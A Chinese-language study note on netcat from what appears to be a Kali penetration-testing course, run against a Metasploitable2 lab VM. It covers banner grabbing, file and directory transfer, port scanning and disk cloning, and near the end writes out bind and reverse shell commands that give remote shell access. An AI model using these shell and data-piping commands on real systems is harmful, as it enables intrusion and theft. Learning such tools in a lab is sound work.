继续记笔记~~~
有了netcat,可以不用telnet了
nc的作用:
侦听模式 / 传输模式
telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文文件
远程控制/木木⻢马
加密所有流量
流媒体服务器
远程克隆硬盘
-v:显示详细的连接信息(输出内容)
-n:不会进行DNS解析
例如nc 隔壁服务器metasploitable2的域名
root@quedgee:~# nc -vn 172.16.43.139 80
(UNKNOWN) [172.16.43.139] 80 (http) open
当输入head,则返回头文件
root@quedgee:~# nc -vn 172.16.43.139 80
(UNKNOWN) [172.16.43.139] 80 (http) open
head
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
若要实现“聊天”功能,在两台机器上使用与演示:
A(服务器):先要开放(侦听)一个端口
B(客户):作为客户端连接,产生tcp的连接
(333代指某一个端口)
A:nc -l -p 333
B:nc -vn 1.1.1.1 333
在服务器端 nc -l -p 333 打开后,可以用以下命令查看333端口是否开启
root@quedgee:~# netstat -pantu | grep 333
tcp 0 0 0.0.0.0:333 0.0.0.0:* LISTEN 3730/nc
发现是LISIEN的,于是可以在另一台机子(客户)上使用
root@quedgee:~# nc -vn 192.168.153.141 333
(UNKNOWN) [192.168.153.141] 333 (?) open
于是可以开始进行通信了
客户端输入hello,服务器端收到并返回个what
客户端:
root@quedgee:~# nc -vn 192.168.153.141 334
(UNKNOWN) [192.168.153.141] 334 (?) open
hello
what?
服务器端:
root@quedgee:~# nc -l -p 334
hello
what?
通过这些功能实现电子取证
比方我想在客户端传输文件
root@quedgee:~# ls -l | nc -vn 192.168.153.141 335
(UNKNOWN) [192.168.153.141] 335 (?) open
服务器端会有(条件是服务器端得先打开端口侦听)
root@quedgee:~# nc -l -p 335
总用量 4540
-rw------- 1 root root 5578752 10月 21 21:28 core
drwxr-xr-x 2 root root 4096 10月 21 21:34 Desktop
drwxr-xr-x 3 root root 4096 11月 7 18:42 Documents
drwxr-xr-x 2 root root 4096 10月 22 13:17 Downloads
drwxr-xr-x 2 root root 4096 4月 22 2017 Music
drwxr-xr-x 2 root root 4096 10月 21 21:33 Pictures
drwxr-xr-x 2 root root 4096 4月 22 2017 Public
drwxr-xr-x 2 root root 4096 4月 22 2017 Templates
drwxr-xr-x 2 root root 4096 4月 22 2017 Videos
如果我想把客户端的进程信息传输到服务器端
客户端:(-q 1 的意思是等一秒钟自动断开连接,表示已经完成)
root@quedgee:~# ps aux | nc -nv 192.168.153.141 333 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open
此时服务器端已经生成了ps.txt
root@quedgee:~# nc -l -p 333 > ps.txt
root@quedgee:~# ls
core Desktop Documents Downloads Music Pictures ps.txt Public Templates Videos
传输文件
A:nc -lp 333 > 1mp4(如同一个可上传文件的ftp服务器)
B:nc -vn 192.168.153.141 333 < 1.mp4 -q 1
传输端B
root@quedgee:~/Desktop# nc -vn 192.168.153.141 333 < 1.mp4 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open
接收端A
root@quedgee:~# nc -lp 333 > 1.mp4
root@quedgee:~# ls
1.mp4 Desktop Downloads Music ps.txt Templates
core Documents lsof.txt Pictures Public Videos
接收端和传输端的角色可以互相转换,倘若服务器端开了端口并作为传输端,相当于是开了端口,等着有人来连接,一连接内容便流到客户端
root@quedgee:~# nc -lp 333 < 1.mp4
root@quedgee:~/Desktop# nc -vn 192.168.153.141 333 > a.mp4 -q 1
(UNKNOWN) [192.168.153.141] 333 (?) open
客户端一连接,就把服务器端的1.mp4,保存为a.mp4
传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –
具体思路:服务器端把music目录打包后的结果传到管道里,客户端收到后解包
服务器端:
root@quedgee:~/Desktop# tar -cvf - music/ | nc -lp 333 -q 1
music/
music/a.mp4
music/1.mp4
客户端:
root@quedgee:~# nc -vn 192.168.153.141 333 | tar xvf -
(UNKNOWN) [192.168.153.141] 333 (?) open
music/
music/a.mp4
music/1.mp4
root@quedgee:~# ls
1.mp4 Desktop Downloads music Pictures Public Videos
core Documents lsof.txt Music ps.txt Templates
root@quedgee:~# cd music
root@quedgee:~/music# ls -l
总用量 8
-rw-r–r– 1 root root 3 11月 7 21:26 1.mp4
-rw-r–r– 1 root root 3 11月 7 21:30 a.mp4
加密文件传输:
和传输目录的思想类似,例子是对称加密算法
在A 端解密,在B端加密
A:nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
流媒体传输
A:cat 1.mp4 | nc -lp 333
B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
服务器端把1.mp4以流的形式一点一点“流进”客户端
其中mplayer需要在kali上安装
NC-端口扫描
- z:端口扫描(探测tcp的端口)
加上 -u:可以看所有UDP的端口
比方说看自己的端口开启状态
root@quedgee:~# nc -vnz 192.168.153.141 1-100
(UNKNOWN) [192.168.153.141] 80 (http) open
nc的扫描功能只有-z,扫描功能不如nmap那么全面
NC——远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
远程电子子取证,可以将目标服务器硬盘远程复制,或者内存。
通过这种方法,拷贝的文件的一模一样
dd命令可以实现块(硬盘)级别的复制
B端为被取证端,A端为接收端,相当于把B端的东西备份到A端
NC远程控制
windows下是通过打开本机的3389远程桌面的端口,对服务器进行远程管理
正向:
• A:nc -lp 333 -c bash
• B:nc 1.1.1.1 333
反向:
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用用户把bash改成cmd;
A 端(服务器)先侦听333端口,-c命令实现远程控制,等着有人来连。连上后,通过在客户端就可以查看服务器端的内容,比如ls,或者输入 init6 命令重启。